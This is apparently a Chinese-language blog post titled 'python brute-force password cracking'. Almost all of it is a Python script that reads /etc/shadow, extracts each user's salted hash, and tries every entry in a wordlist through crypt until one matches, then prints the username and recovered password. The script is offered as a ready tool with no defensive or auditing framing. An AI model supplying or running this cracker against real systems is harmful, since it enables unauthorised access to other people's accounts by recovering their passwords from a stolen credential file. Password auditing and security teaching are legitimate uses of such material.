python暴力破解密码

#!/usr/local/bin/python3
import crypt
def read_file_list(filename):
    "我的功能是读取文件内容并返回一个内容列表"
    f = open(filename,"r")
    data = f.readlines()
    f.close()
    return data
#read_file_list是用来读取文件内容列表

def user_password_salt(userlist,wordlist):
    for userinfo in userlist: #每一行进行赋值
        username = userinfo.split(":")[0] #取出用户名
        password = userinfo.split(":")[1] #取出密码
        if len(password) > 3: #密码长度如果大于3
            num = password.rindex("$")
            salt = password[0:num] #取出盐值
            for passwordtext in wordlist:
                password1 = crypt.crypt(passwordtext.rstrip(),salt) #密码破解
                if password1 == password: #和原迷文比较
                    print(username,passwordtext) #输出用户名和密码
                    break
alist = read_file_list("/etc/shadow")
wordlist = read_file_list("/root/Desktop/wordlist.TXT")
user_password_salt(alist,wordlist)
#将文件内容读取后筛选出加密厚的密码长度大于3位的用户名 密码 盐值

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值